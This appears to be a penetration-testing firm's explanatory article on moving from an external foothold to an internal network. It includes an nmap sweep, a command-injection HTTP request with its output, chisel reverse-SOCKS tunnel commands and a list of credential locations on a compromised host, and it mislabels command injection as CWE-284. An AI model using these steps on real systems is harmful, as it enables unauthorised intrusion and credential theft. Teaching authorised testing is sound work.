Key takeaways
- Active scanning under NIST SP 800-115 maps every internet-facing host, port and service version before any exploit is attempted.
- Public-facing applications are the most common initial access vector: a single unpatched or misconfigured endpoint gives code execution on a perimeter host.
- A compromised perimeter host typically has a second network interface on the internal LAN, giving the tester visibility of systems that were invisible from outside.
- Credentials and trust relationships on the perimeter host are the bridge to internal servers, not the firewall rules that were meant to prevent it.
- The chain from initial scan to internal access is the deliverable: each step is documented as a reproducible finding, not a summary.
What active scanning finds on the perimeter
When a penetration test begins with an external scope, the first task is a complete picture of what the organisation presents to the internet. That picture comes from active scanning: port sweeps, service version detection and banner grabbing across every IP address in scope, following the approach in NIST SP 800-115.
A tester who skips the full port sweep and goes straight to known weaknesses will miss a service added last quarter, running on a non-standard port, with a version string that pre-dates the last major security release. The scan is not a formality. It is the attack surface.
The nmap command below is a starting point. The -sV flag requests version detection; -p- sweeps all 65 535 ports rather than the default top 1 000; -T4 speeds timing without being loud enough to trigger most rate-limiting firewalls. The output is a table of open ports, service names and version strings.
That table is the material for the next phase. A single entry saying 443/tcp open ssl/http Apache 2.4.49 means nothing on its own. Cross-referenced with the public CVE record for that version, it becomes the first node in the chain.
nmap -sV -p- -T4 --open 203.0.113.0/27 -oN perimeter-scan.txt
Starting Nmap 7.95
Nmap scan report for gateway.victim.example (203.0.113.42)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http nginx 1.18.0
443/tcp open ssl/http Apache httpd 2.4.49
8443/tcp open ssl/https Jetty 9.4.43
9090/tcp open http Prometheus 2.28.1
Nmap done: 32 IP addresses (3 hosts up) scanned in 184.32 seconds
In
Active scanning
Port sweeps and version detection map the external attack surface
Service exploitation
Vulnerable public-facing application exploited for code execution
Through
Internal enumeration
Second network interface reveals the internal LAN from the foothold
Lateral movement
Credentials and trust found on the host reach internal servers
Out
Objective reached
Sensitive internal data accessed and the full chain documented
Finding and exploiting the vulnerable service
Most perimeters expose more than a firewall. A login portal, an API gateway, a web-based administration console, a mail relay: each is a public-facing application and each is in scope for MITRE T1190, which categorises exploiting weaknesses in those services as the initial access technique for a network intrusion. The OWASP Web Security Testing Guide provides the test cases that map each service type to its most common weakness families.
The table below maps common classes of internet-facing service to the weakness families that most often open an initial foothold. These patterns appear repeatedly when scan results are matched against the ATT&CK technique library.
The request below shows an OS command injection in a web application's ping diagnostic endpoint. The host parameter is passed to the shell without sanitisation, which is CWE-284: the application enforces no access control over what the shell receives. The response includes the output of id, confirming code execution on the perimeter host.
A finding at this stage is not theoretical. The request and the response together are the proof. When you read what a penetration test report has to contain, the section on evidence quality is exactly this: the HTTP pair that makes the finding undeniable, not a scanner screenshot. The web application pentest methodology covers these weakness classes in full; for an external infrastructure scope the same test cases apply to whatever the scan exposes.
POST /admin/diagnostics/ping HTTP/1.1
Host: gateway.victim.example
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiZ3Vlc3QifQ.
host=127.0.0.1%3B+idHTTP/1.1 200 OK
Content-Type: text/plain
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.045 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)| Service type | Common weakness family | What it gives the tester |
|---|---|---|
| Web application portal | OS command injection, SSRF, insecure deserialization | Shell or file read on the perimeter host |
| VPN or remote access gateway | Authentication bypass, unpatched client library | Network-level access without an application layer |
| Web-based administration console | Default credentials, exposed management interface | Administrative control from the first valid request |
| Mail relay (SMTP) | Open relay, unauthenticated management API | Pivot path to internal mail infrastructure |
| API gateway | Broken object-level authorisation, JWT algorithm confusion | Access to internal services through the gateway |
What the foothold reveals about the internal network
The perimeter host, now under the tester's control, has a network interface that the external scan never showed. The scan saw the host's public IP. The compromised host has a second interface on the internal LAN, such as 10.10.0.0/24, unreachable from outside. The tester can enumerate it.
A simple ip route from the shell session shows what subnets the host routes to. The output often reveals internal DNS servers, default gateways and RFC 1918 ranges that were invisible from outside. This is MITRE T1595 applied inward: the same active reconnaissance logic that mapped the external surface now maps what can be reached from this new position.
Before starting the internal sweep, the tester checks the scope document. The article on how to scope a penetration test covers how that document is built and what it has to say about which internal segments are in bounds. The tester works inside those bounds from the foothold onward.
$ ip route
default via 203.0.113.1 dev eth0
10.10.0.0/24 dev eth1 proto kernel scope link src 10.10.0.5
10.20.0.0/16 via 10.10.0.1 dev eth1
203.0.113.32/27 dev eth0 proto kernel scope link src 203.0.113.42
$ arp -a
? (10.10.0.1) at 00:50:56:ab:12:34 [ether] on eth1
? (10.10.0.10) at 00:50:56:ab:56:78 [ether] on eth1
? (10.10.0.20) at 00:50:56:ab:9a:bc [ether] on eth1
Moving from the perimeter host to an internal server
Moving from the perimeter host to an internal server requires a channel and credentials. The channel is a port-forward or a SOCKS proxy tunnelled through the existing shell session. The credentials come from what the perimeter host knows: service accounts it uses to call internal APIs, SSH keys in /root/.ssh/ or application user home directories, database connection strings in config files, and tokens stored in environment variables.
A host at the network perimeter often holds more trust than its exposure warrants. It was provisioned to call the internal database, push logs to a central collector or pull configuration from an internal API. That access was granted when the host was stood up and rarely reviewed. The assumed-breach exercise begins from this kind of inside position and can confirm how far that trust extends, but the external test has to reach this point first.
The commands below set up a SOCKS5 proxy through the reverse shell using chisel. Once the tunnel is running, nmap and other tools reach internal hosts directly. The internal sweep reveals hosts the external scan never reached: a database server, a file server, a Windows domain controller. The infrastructure pentest methodology from that point is the same as if the tester had started from inside the building.
# Attacker machine: start the chisel server
./chisel server --port 8080 --reverse
# Compromised perimeter host: connect back and open the proxy
./chisel client 203.0.113.100:8080 R:socks
# Attacker machine: scan internal hosts through the tunnel
nmap -sV --proxies socks5://127.0.0.1:1080 10.10.0.0/24 -p 22,80,443,445,1433,3389
# Selected results
10.10.0.10 445/tcp open microsoft-ds Windows Server 2019
10.10.0.20 1433/tcp open ms-sql-s Microsoft SQL Server 2019
10.10.0.50 22/tcp open ssh OpenSSH 7.9Closing the chain: reaching the objective and documenting the path
Reaching an internal server is the objective. Documenting the path end to end is the deliverable that makes the finding actionable.
A finding that says only 'command injection on the diagnostics endpoint allows an attacker to reach internal servers' is a summary. The actual deliverable is the full chain: the nmap output showing the exposed service, the annotated HTTP request and response, the shell command proving code execution, the ip route output showing the internal range, the second nmap output showing internal hosts, and the screenshot or file hash proving access to the named internal target. That chain of evidence is what turns a technical result into a business argument that gets the finding prioritised and funded.
How to compare penetration testing proposals explains what a proposal that will produce this kind of evidence should say before you sign it. The groundwork is in what to have ready before a penetration test starts: the asset inventory, the authorisation letter and the contacts who can confirm scope during the test. All three matter when a chain like this one reaches a host that was not explicitly listed.
External penetration testing for UAE organisations in Abu Dhabi and Dubai
UAE organisations in Abu Dhabi and Dubai run diverse internet-facing attack surfaces. Banks regulated by the CBUAE publish web portals, mobile API gateways and open-finance endpoints. Government entities in Dubai regulated by the DESC expose procurement platforms, citizen service portals and supplier integration APIs. Healthcare providers in Abu Dhabi regulated under ADHICS operate patient portal and clinical system interfaces. Each is a public-facing application, and each is in scope for the kind of external penetration test described in this article.
The UAE Information Assurance Regulation published by TDRA requires organisations to test external access points as part of a periodic security assessment programme. CBUAE and DESC frameworks align with this requirement. The technique documented here, moving from a public application to internal infrastructure, is precisely the scenario those assessments are designed to surface and remediate before an actual attacker reaches the same position.
Understanding how the external foothold chain actually runs is the first step in knowing whether your own perimeter would stop it. The assessment starts at the edge you present to the internet, the same place a tester starts, and works inward from there. Free-zone entities in Dubai Silicon Oasis and mainland entities in Abu Dhabi face the same internet-facing risk; the regulatory framework that asks for the test differs, but the attack surface it covers does not.
Frequently asked questions
What is an external foothold in a penetration test?
An external foothold is code execution or authenticated access on a host reachable from the internet, gained by exploiting a weakness in a public-facing service. It is the transition from reconnaissance to active control: the tester moves from reading about the target to acting on it. The foothold is the starting point for internal network enumeration and lateral movement.
How does active scanning differ from a vulnerability scan?
Active scanning is port discovery and service fingerprinting: the tester sends packets and reads what responds. A vulnerability scan takes that inventory and cross-references it against a database of known weaknesses, then reports without attempting exploitation. A penetration test does both, then verifies which findings are exploitable and chains them together as an attacker would.
What is MITRE ATT&CK T1190 and why does it appear in penetration test reports?
T1190 is the ATT&CK identifier for exploiting public-facing applications to gain initial access to a network. It appears in penetration test reports because it maps findings to a framework that security teams and regulators recognise, linking each one to detection controls and remediation priorities. The technique covers web applications, VPN gateways, management consoles and any other internet-facing service an attacker can reach without prior authentication.
How does a tester pivot from a perimeter host to the internal network?
Pivoting requires a channel and credentials. The channel is typically a SOCKS proxy or port-forward tunnelled through the existing shell session on the compromised host. The credentials come from service accounts, SSH keys, database connection strings or API tokens stored on the host. With the proxy running, the tester's tools reach internal addresses through the compromised host as if the tester were on the internal LAN.
What is a SOCKS proxy tunnel in a penetration test context?
A SOCKS proxy tunnel routes traffic from the tester's machine through a compromised intermediary host to reach addresses not directly accessible from outside. The tester sets up a SOCKS5 listener on their own machine, configured to forward connections through the shell session on the compromised host. Standard tools like nmap and curl can then be pointed at the proxy and reach internal hosts through it.
How does an external penetration test differ from an assumed-breach exercise?
An external penetration test starts with no access and works to gain a foothold, then pivots inward. An assumed-breach exercise starts from a granted internal position, skipping initial access entirely, to test what an attacker who is already inside can reach. The external test answers whether the perimeter can be broken; the assumed-breach exercise answers what happens after it is. The two exercises complement each other.
What vulnerabilities most often provide an external foothold?
OS command injection in web administration interfaces, server-side request forgery in web applications, insecure deserialization in Java or .NET services, authentication bypass in VPN or remote access products, and default credentials on management consoles are the most common classes. The specific finding depends on what the port sweep exposes and what version the service runs.
How is the pivot chain documented in a penetration test report?
The chain is documented as a sequence of reproducible steps: the initial scan output showing the exposed service, the annotated HTTP request or command that exploited it, the response proving code execution, the internal route output showing what became visible, and the evidence of access to the internal target. Each step is a finding in its own right; the chain shows how they connect and what the combined risk is.
What internal access does a tester typically reach after exploiting a perimeter host?
It depends on where the perimeter host sits in the network. A web application server in a screened subnet may only reach the application database. A gateway or bastion host may route to multiple internal segments. The scope document specifies which internal assets are in bounds. The tester works within those bounds and documents what can be reached without going beyond the authorised scope.
What credentials does a tester look for on a compromised perimeter host?
Service account credentials in application configuration files, SSH private keys in user and root home directories, database connection strings in environment variables, and API tokens in deployed application code or `.env` files. These credentials are there because the host was provisioned to call internal services; they are the bridge between the perimeter and the LAN.
